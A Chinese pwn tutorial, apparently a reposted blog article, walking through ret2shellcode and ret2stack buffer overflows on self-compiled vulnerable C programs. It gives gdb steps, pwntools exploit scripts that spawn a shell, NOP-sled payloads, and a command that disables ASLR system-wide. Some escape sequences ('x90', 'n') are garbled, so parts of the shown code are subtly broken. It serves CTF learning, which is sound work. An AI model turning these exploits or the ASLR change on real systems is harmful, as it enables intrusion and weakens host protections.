一. ret2shellcode
char buf2[100];
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("No system for you this time !!!n");
gets(buf);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}
gcc -m32 -no-pie -z execstack -o ret2shellcode ret2shellcode.c
编译时常用的几个保护
且关闭地址随机化/-no-pie/PIE
堆栈可执行/-z execstack/NX
Canary保护/-fno-stack-protector(-fstack-protector-all)/Stack
setvbuf方法在帮我们关闭缓冲区,方便溢出。
这题自己编译溢出不成功,以后再研究,先用wiki上的。
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
这题就没有后门函数,因此必须使用shellcode,但第一步还是找偏移量
gdb动态调试,打gets断点
gdb ret2shellcode
starti
disass main
b *0x08048593
r
n
AAAAAAAA
stack 50
p/d 0xffffd1cc-0xffffd15c
得出偏移量为112。但是问题来了,返回地址我们修改到哪儿才能达到执行shellcode的目的呢?
答案是buf2,此为全局变量,在bss段中,而在这题中bss段是可读可写可执行的。
可用readelf -S ret2shellcode查询bss地址段(前提是无PIE保护)
也可以拖入ida中分析
当然,在ida调试也可以看到地址,断点打在strncpy上
starti
disass main
b *0x080485af
r
AAAAAAAAAAAA
可以看到buf2地址为0x804a080,和ida上看到的一致,vmmap后发现0x804a000-0x804b000是RWX,满足shellcode执行条件
vmmap
那么溢出就是shellcode+padding+0x804a080小端,编写exp
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, "A") + p32(buf2_addr))
sh.interactive()
二. ret2stack
int main () {
char str[100];
printf("%p", &str);
gets(str);
return 0;
}
gcc -no-pie -z execstack -fno-stack-protector -o ret2stack ret2stack.c
此题需要关闭ALSR,否则str地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
这是一个64位程序,没有buf2全局变量进行溢出了,但是还有str这个局部变量也可以溢出。还是先找偏移量。
gdb ret2stack
starti
disass main
b *0x000000000040115e
r
n
AAAAAAAAA
stack50
偏移量为rbp的下一行减去rax,也就是rbp-rax+8,64位程序和32位程序的不同之处就在这里了。
p/d 0x7fffffffe058-0x7fffffffdfe0
这里同时也能看到str的地址,因为我们给程序加了个打印str地址的代码,在输入AAAAAA的过程中发现它和rax地址一致,都是0x7fffffffdfe0
那么exp就可以写出来了
#!/usr/bin/env python
from pwn import *
sh = process('./ret2stack')
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buf = 0x7fffffffdfe0
sh.sendline(shellcode.ljust(120, "A") + p64(buf))
sh.interactive()
但实际运行不成功
由于加了个打印str地址的代码,很容易找出原因——直接运行程序和gdb中调试的过程中,str地址不一致。
换成0x7fffffffe050即可溢出成功
这是因为实际运行程序和gdb运行环境变量不同,想让它们一样,有如下解决方案。
1, 强行使环境变量一致
gdb ./ret2stack
set exec-wrapper env -
r
q
env - /home/sonomon/桌面/pwn/ret2stack/ret2stack
2, 加个打印地址的代码
如果这题本来没有printf代码,可以加上printf代码,重新编译。
int main () {
char str[100];
printf("%p", &str);
gets(str);
return 0;
}
int main () {
char str[100];
gets(str);
return 0;
}
有无这段代码的两个程序,在同一系统中,str地址是不变的。
3, gdb中完成溢出
在linux直接执行./ret2stack,在标准输入流中输入特殊字符,有pwntools或者如下命令形式来解决。
(python -c 'print "x90"*200'; cat -) | ./ret2stack
那么在gdb中如何输入例如shellcode这种无法直接打印的字符呢?
需要依靠pwntools进行gdb调试,需要用apt安装gdbserver
sudo apt-get install gdbserver
用python界面单行代码进行交互
python
from pwn import *
sh = gdb.debug('./ret2stack')
此时会弹出另外一个shell,执行gdb
在gdb中对gets断点,并单步执行到输入AAAAAAAA的地方
disass main
b *0x000000000040115e
c
n
回到pwntools,利用pwntools随便输入几个A
sh.sendline("AAAAAAAA")
至此到了gets函数执行的栈帧,单这儿str地址又变化了,为0x7fffffffe030,偏移量不变,可以自行stack 50之后去计算。
确认地址和偏移量后,q掉gdb shell,重新建立一个。这次要完成溢出。
python shell
sh = gdb.debug('./ret2stack')
gdb shell
c
python shell
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buf = 0x7fffffffe030
sh.sendline(shellcode.ljust(120, "A") + p64(buf))
sh.interactive()
4, 分析core文件
有心的人应该发现了,如果pwntools溢出失败,会在当前目录生成一个core文件,这是linux内存映像,专门用来分析程序崩溃原因的。
先将地址改成8个C
#!/usr/bin/env python
from pwn import *
context.arch = "amd64"
sh = process('./ret2stack')
shellcode = asm(shellcraft.amd64.sh())
buf = 0x7fffffffdfe0
sh.sendline(shellcode.ljust(120, "A") + "C"*8)
sh.interactive()
python exp.py之后生成core文件,拖入ida64
shift+F12
Ctrl+F
搜索CCCCCCCC字符串,定位到地址
0x7fffffffe0c0,可以发现,离它最近的0x7fffffffe050就是正确地址。
回顾一下前面,我们溢出的是rbp-rax+8=120,而0x7fffffffe0c0为AAAAAAAACCCCCCCC,也就是说它是rbp的地址。
这样也可以用python计算出来正确地址
5, NOP链
./ret2stack为0x7fffffffe050
gdb ./ret2stack为0x7fffffffdfe0
地址相差很多,但这其中有很大一部分是因为gdb用的是程序的绝对路径,如果用绝对路径运行程序,和gdb相差的并不多。
再回顾下溢出代码
buf = 0x7fffffffe050
sh.sendline(shellcode.ljust(120, "A") + p64(buf))
从0x7fffffffe050开始,向上覆盖shellcode+padding共120位,还有8位跳转地址重新指向0x7fffffffe050,此处刚好是shellcode的起始位置,这样就可以开始执行shellcode了。
这里整个栈都是我们的执行区,因此如果在shellcode前面增加无用的汇编代码,不就可以将shellcode向后移动吗?
而汇编中的NOP指令,也就是x90刚好能满足条件,因此exp可以写成这样。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2stack')
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buf = 0x7fffffffe050
sh.sendline("x90"*32+shellcode.ljust(88, "x90") + p64(buf))
sh.interactive()
那么这里0x7fffffffe050到往上32位地址,都是我们可以跳转的地址,它们最终都会不断的执行NOP到shellcode。
buf = 0x7fffffffe070
这样我们就可以根据gdb的str地址0x7fffffffdfe0,抬高N位,在只知道str大致位置的情况下,完成溢出。
这里buf=0x7fffffffe010-0x7fffffffe030都可以。
# coding=utf8
from pwn import *
sh = process('/home/sonomon/桌面/pwn/ret2stack/ret2stack')
context.arch = "amd64"
shellcode = asm(shellcraft.amd64.sh())
buf = 0x7fffffffe011
sh.sendline("x90"*32+shellcode.ljust(88, "x90") + p64(buf))
sh.interactive()
PS:这里偏移量越大越好,shellcode越短越好,这样空间更大更容易fuzz。
PS2:这里中文路径也有影响,尽量不使用中文路径。
三. 学习地址
https://bbs.pediy.com/user-868728.htm
https://github.com/ctf-wiki/
https://pwnable.kr/play.php
https://www.bilibili.com/video/BV1854y1y7Ro
本文始发于微信公众号(珂技知识分享):web选手入门pwnnweb选手入门pwn(2)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论